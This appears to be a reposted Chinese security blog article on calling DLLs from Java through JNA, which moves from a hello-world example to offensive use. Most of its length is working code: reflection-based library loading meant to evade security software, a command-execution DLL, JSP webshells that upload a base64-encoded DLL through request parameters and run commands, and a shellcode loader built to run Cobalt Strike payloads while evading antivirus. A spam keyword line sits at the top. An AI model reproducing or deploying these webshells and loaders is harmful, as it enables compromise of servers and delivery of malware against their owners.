国内精品九九久久久精品,国产激情视频一区二区三区,国产精品日本一区二区在线播放 ,国产精品 亚洲一区二区三区,国产亚洲精品久久久久蜜臀

當(dāng)前位置: 首頁 >綜合 > 正文

【天天報資訊】我們一起聊聊 JNA 調(diào)用動態(tài)鏈接庫

2023-05-09 08:08:10 來源:FreeBuf.COM
前言

在一次實際項目中遇到了無法調(diào)用exe可執(zhí)行文件,聽說哥斯拉利用JNA技術(shù)實現(xiàn)了內(nèi)存加載exe、執(zhí)行命令等操作,特來實踐一下。


(資料圖片)

JNA 基礎(chǔ)知識

JNA全稱:Java Native Access,是建立在JNI(Java Native Interface)技術(shù)之上的Java開源框架,JNA提供了一組Java工具類用于在運(yùn)行期間動態(tài)訪問的系統(tǒng)本地庫。簡單理解就是:JNA提供了一個"橋梁",可以利用Java代碼直接訪問動態(tài)鏈接庫中的函數(shù)。

調(diào)用JNI接口

調(diào)用JNI接口的步驟為:

創(chuàng)建工程,將dll文件放到工程下引入JNA相關(guān)的jar包創(chuàng)建繼承自Library類的接口接口中創(chuàng)建對象用于加載DLL/SO的類庫接口中聲明DLL/SO類庫頭文件中暴露的方法調(diào)用該方法編譯DLL

以windows為例,使用Visual Studio 創(chuàng)建一個動態(tài)鏈接庫的工程,并定義一個頭文件testdll.h和源文件testdll.cpp。簡單實現(xiàn)一個SayHello的方法創(chuàng)建testdll.cpp,作用是用來實現(xiàn)被聲明的函數(shù)。

#include "pch.h"#include "testdll.h"void SayHello(){ std::cout << "Hello!你成功了!" << std::endl;}

創(chuàng)建testdll.h頭文件,作用是用來聲明需要導(dǎo)出的函數(shù)接口

#pragma once#include extern "C" __declspec(dllexport) void SayHello();//聲明一個可被調(diào)用的函數(shù)“SayHello()”,它的返回類型是void。//extern "C"的作用是告訴編譯器將被它修飾的代碼按C語言的方式進(jìn)行編譯//__declspec(dllexport),此修飾符告訴編譯器和鏈接器被它修飾的函數(shù)或變量需要從DLL導(dǎo)出

而后編譯出dll。注意:要DLL位數(shù)要與JDK位數(shù)相同,否則無法調(diào)用。

導(dǎo)入JAR包

首先創(chuàng)建java工程,可以是普通項目也可以是maven功能。maven 需要導(dǎo)入依賴

net.java.dev.jna jna 5.13.0 net.java.dev.jna jna-platform 5.13.0

普通工程可以在 https://github.com/java-native-access/jna 下載jna jar包和platform jar包并導(dǎo)入。

調(diào)用DLL

我們需要繼承Library類接口,調(diào)用Native類的load方法將我們的testdll.dll加載進(jìn)來并轉(zhuǎn)換為本地庫,而后聲明SayHello方法。

public interface Mydll extends Library { Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); void SayHello();}

調(diào)用時不需要鏈接庫的后綴,會自動加上。聲明SayHello方法時,結(jié)合testdll.h頭文件,沒有返回值為void,也沒有需要的數(shù)據(jù)類型。(需要的話可查找JNA 數(shù)據(jù)類型對應(yīng)關(guān)系)

然后在主方法里調(diào)用SayHello方法

public static void main(String[] args) { Mydll.mydll.SayHello();}

可以看到成功調(diào)用了testdll.dll的SayHello方法。

加載動態(tài)鏈接庫

在上面的代碼中,我們直接利用Native.load將dll轉(zhuǎn)換為本地庫,在此之前缺少了加載這一步。常見的加載動態(tài)鏈接庫有三種方法:

System.load / System.loadLibraryRuntime.getRuntime().load / Runtime.getRuntime().loadLibrarycom.sun.glass.utils.NativeLibLoader.loadLibrary

在使用時也有一些區(qū)別:load接收的是系統(tǒng)的絕對路徑,loadLibrary接收的是相對路徑。但實際利用過程中肯定是絕對路徑優(yōu)先于相對路徑。以Runtime.getRuntime().load為例:

但實際利用可能會被安全軟件捕捉。我們反射調(diào)用loadLibrary方法。代碼來自Java加載動態(tài)鏈接庫這篇文章

try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.SayHello();}catch (Exception e){ e.printStackTrace();}場景利用

現(xiàn)在我們想一下具體場景的利用,在此基礎(chǔ)上調(diào)整我們的代碼。

webshell

既然jna加載動態(tài)鏈接庫后轉(zhuǎn)換為本地庫,可以調(diào)用dll的任意方法,那實現(xiàn)一個命令執(zhí)行應(yīng)該也是可以的。

#include "pch.h"#include "command.h"#include #include void executeCommand(const char* command) { char psBuffer[128]; FILE* pPipe; if ((pPipe = _popen(command, "r")) == NULL) { exit(1); } while (fgets(psBuffer, 128, pPipe)) { puts(psBuffer); } int endOfFileVal = feof(pPipe); int closeReturnVal = _pclose(pPipe); if (endOfFileVal) { printf("\nProcess returned %d\n", closeReturnVal); } else { printf("Error: Failed to read the pipe to the end.\n"); }}

相應(yīng)的頭文件

#pragma once#include extern "C" __declspec(dllexport) void executeCommand(const char* command);

java代碼加載并調(diào)用。

import com.sun.jna.Library;import com.sun.jna.Native;public class test {public interface Mydll extends Library { void executeCommand(String command); } public static void main(String[] args) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll", true); Mydll mydll = (Mydll)Native.load("testdll",Mydll.class); mydll.executeCommand("ipconfig"); }catch (Exception e){ e.printStackTrace(); } }}

成功實現(xiàn)。結(jié)合實際利用我們還需要優(yōu)化一下代碼,改成jsp腳本文件。因為com.sun.jna包是第三方包,在實際利用肯定沒有。所以這里選擇將自己寫的代碼和jna.jar一塊用maven打包為maven02-1.0-SNAPSHOT-jar-with-dependencies.jar試試。

再把test類名修改為show,把dll動態(tài)鏈接庫和將要執(zhí)行的命令作為參數(shù)傳遞進(jìn)去?,F(xiàn)在還差一個加載外部的jar包并調(diào)用方法的jsp腳本文件。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URL" %><%@ page import="java.net.URLClassLoader" %><% String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader =null; Class MyTest = null; //通過URLClassLoader加載外部jar urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //獲取外部jar里面的具體類對象 MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //創(chuàng)建對象實例 Object instance = MyTest.newInstance(); //獲取實例當(dāng)中的方法名為show Method method = MyTest.getMethod("show", String.class,String.class); //傳入實例以及方法參數(shù)信息執(zhí)行這個方法 Object ada = method.invoke(instance, "C:\\Users\\cseroad\\source\\repos\\testdll\\x64\\Release\\testdll.dll","whoami");%>

這樣用的時候需要向目標(biāo)服務(wù)器手動上傳兩個文件,jar包和dll文件。我們再進(jìn)一步優(yōu)化一下。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %><%! private String getFileName(){ String fileName = ""; java.util.Random random = new java.util.Random(System.currentTimeMillis()); String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll"; }else { fileName = "/tmp/"+ random.nextInt(10000000) + ".so"; } return fileName; } public String UploadBase64DLL(String base64) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName()); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); }%><% try{ String cmd = request.getParameter("cmd"); String base64 = request.getParameter("base64"); String file = UploadBase64DLL(base64); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; //通過URLClassLoader加載外部jar URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); //獲取外部jar里面的具體類對象 Class MyTest = urlClassLoader.loadClass("com.jna.jnatest"); //創(chuàng)建對象實例 Object instance = MyTest.newInstance(); //獲取實例當(dāng)中的方法名為show,參數(shù)只有一個且類型為string的public方法 Method method = MyTest.getMethod("show", String.class,String.class); //傳入實例以及方法參數(shù)信息執(zhí)行這個方法 Object ada = method.invoke(instance, file,cmd); } catch (Exception e){ out.println(e); }%>

現(xiàn)在只需要手動上傳一個jar包就可以,dll通過base64編碼上傳上去。這樣參數(shù)值就是base64編碼之后的dll和cmd要執(zhí)行的系統(tǒng)命令。

唯一的缺點就是不能在前端顯示,或許將代碼加入到冰蝎可以實現(xiàn)?

shellcode

既然前端無法獲取結(jié)果,那直接加載shellcode上線cs呢?我們利用同樣的方式寫出加載shellcode的代碼。shellcode.cpp

#include "shellcode.h"#include using namespace std;void shellcode(PCHAR code, DWORD buf_len) { cout << buf_len << endl; DWORD oldprotect = 0; LPVOID base_addr = NULL; // 申請一塊buf_len長度大小的空間,RW權(quán)限,不要開rwx,PAGE_EXECUTE_READWRITE base_addr = VirtualAlloc(0, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // 復(fù)制shellcode到新的空間,這個函數(shù)比較罕見,用memcpy也可以呀 unsigned char HexNumArray[4096]; int num = HexStr2HexNum(code, buf_len, HexNumArray); RtlMoveMemory(base_addr, HexNumArray, buf_len); // 修改為執(zhí)行RX權(quán)限 VirtualProtect(base_addr, buf_len, PAGE_EXECUTE_READ, &oldprotect); cout << "starting spawn shellcode" << endl; // 當(dāng)前進(jìn)程創(chuàng)建線程執(zhí)行shellcode auto ct = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)base_addr, 0, 0, 0); // 等待線程返回值 WaitForSingleObject(ct, -1); // 釋放內(nèi)存 free(base_addr);}int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray){ int j = 0; for (int i = 0; i < len; i += 2) { if (HexStrArray[i] == 0x5C || HexStrArray[i] == 0x58 || HexStrArray[i] == 0x78) { continue; } char HIGH_BYTE = 0; char LOW_BYTE = 0; //high 4 if (HexStrArray[i] >= 0x30 && HexStrArray[i] <= 0x3A) { HIGH_BYTE = HexStrArray[i] - 0x30; } else if (HexStrArray[i] >= 0x41 && HexStrArray[i] <= 0x47) { HIGH_BYTE = HexStrArray[i] - 0x37; } else if (HexStrArray[i] >= 0x61 && HexStrArray[i] <= 0x67) { HIGH_BYTE = HexStrArray[i] - 0x57; } else { printf("Please make sure the format of Hex String is correct!\r\n"); printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i); return -1; } //low 4 if (HexStrArray[i + 1] >= 0x30 && HexStrArray[i + 1] <= 0x3A) { LOW_BYTE = HexStrArray[i + 1] - 0x30; } else if (HexStrArray[i + 1] >= 0x41 && HexStrArray[i + 1] <= 0x47) { LOW_BYTE = HexStrArray[i + 1] - 0x37; } else if (HexStrArray[i + 1] >= 0x61 && HexStrArray[i + 1] <= 0x67) { LOW_BYTE = HexStrArray[i + 1] - 0x57; } else { printf("Please make sure the format of Hex String is correct!\r\n"); printf("The wrong char is \"%c\", and its number is % d\r\n", HexStrArray[i], i); return -1; } HexNumArray[j] &= 0x0F; HexNumArray[j] |= (HIGH_BYTE << 4); HexNumArray[j] &= 0xF0; HexNumArray[j] |= LOW_BYTE; j++; } return 0;}

shellcode.h

#pragma once#include extern "C" __declspec(dllexport) BOOL shellcode(PCHAR code, DWORD size);int HexStr2HexNum(char* HexStrArray, int len, unsigned char* HexNumArray);

在java里加載并調(diào)用,傳入shellcode和長度。以達(dá)到更好的免殺性。

import java.util.Base64;import com.sun.jna.Library;import com.sun.jna.Native;public class test {public interface Mydll extends Library { void shellcode(byte[] b,int length); } public static void show(String base64,String dllpath,String dllname) { try { Class clazz = Class.forName("java.lang.ClassLoader"); java.lang.reflect.Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); method.setAccessible(true); method.invoke(null, clazz, dllpath, true); Mydll mydll = (Mydll)Native.load(dllname,Mydll.class); byte[] base64decodedBytes = java.util.Base64.getDecoder().decode(base64); int leng = base64decodedBytes.length; mydll.shellcode(base64decodedBytes,leng); }catch (Exception e){ e.printStackTrace(); } }public static void main(String[] args) {String base64encodedString = "XHhmY1x4NDhxxxxxxxxxxxxxxx";show(base64encodedString,"C:\\Windows\\Temp\\jna.dll","jna"); }}

此時只需要將shellcode值base64編碼當(dāng)做字符傳遞即可。測試一下

可以看到正常上線,進(jìn)程為javaw.exe。那在實際環(huán)境中同樣不能這樣利用。依舊把java代碼打包為jar包,再修改一下jsp腳本文件應(yīng)該就可以在實際運(yùn)行了。

<%@ page import="java.lang.reflect.Method" %><%@ page import="java.net.URLClassLoader" %><%@ page import="java.net.URL" %><%! private String getFileName(String dllname){ String fileName = ""; String os = System.getProperty("os.name").toLowerCase(); if (os.contains("windows")){ fileName = "C:\\Windows\\Temp\\" + dllname + ".dll"; }else { fileName = "/tmp/"+ dllname + ".so"; } return fileName; } public String UploadBase64DLL(String base64,String dllname) throws Exception { sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder(); java.io.File file = new java.io.File(getFileName(dllname)); java.io.FileOutputStream fos = new java.io.FileOutputStream(file); fos.write(b.decodeBuffer(base64)); fos.close(); return file.getAbsolutePath(); }%><% try{ String shellcode = request.getParameter("shellcode"); String base64dll = request.getParameter("base64dll"); String dllname = request.getParameter("dllname"); String pathdll = UploadBase64DLL(base64dll,dllname); String path = "file:E:\\apache-tomcat-7.0.107\\webapps\\test\\maven02-1.0-SNAPSHOT-jar-with-dependencies.jar"; URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL(path)}); Class MyTest = urlClassLoader.loadClass("com.jna.jnatest"); Object instance = MyTest.newInstance(); Method method = MyTest.getMethod("show", String.class,String.class,String.class); Object ada = method.invoke(instance,shellcode, pathdll,dllname); } catch (Exception e){ out.println(e); }%>

以tomcat為例,shellcode 即將cobaltstrike的shellcode進(jìn)行base64編碼,base64dll 是base64編碼dll動態(tài)鏈接庫之后的值,dllname即是dll動態(tài)鏈接庫的名稱。測試可以正常上線執(zhí)行命令。上線進(jìn)程為java.exe。

總結(jié)

在學(xué)習(xí)JNA調(diào)用動態(tài)鏈接庫的時候,借鑒了很多師傅的思路,但無奈趕不上師傅們的高度,只能用稍微復(fù)雜點的辦法完善自己的代碼,來曲折得實現(xiàn)效果。

參考資料

https://www.bilibili.com/video/BV16t411A7it/?spm_id_from=333.337.search-card.all.click&vd_source=0627d2723fb97773126096556cc98e0dhttps://www.cnblogs.com/happyhuangjinjin/p/17219986.htmlhttps://tttang.com/archive/1436/https://payloads.online/archivers/2022-08-11/1/

本文作者:CSeroad,轉(zhuǎn)載請注明來自FreeBuf.COM

標(biāo)簽:

返回頂部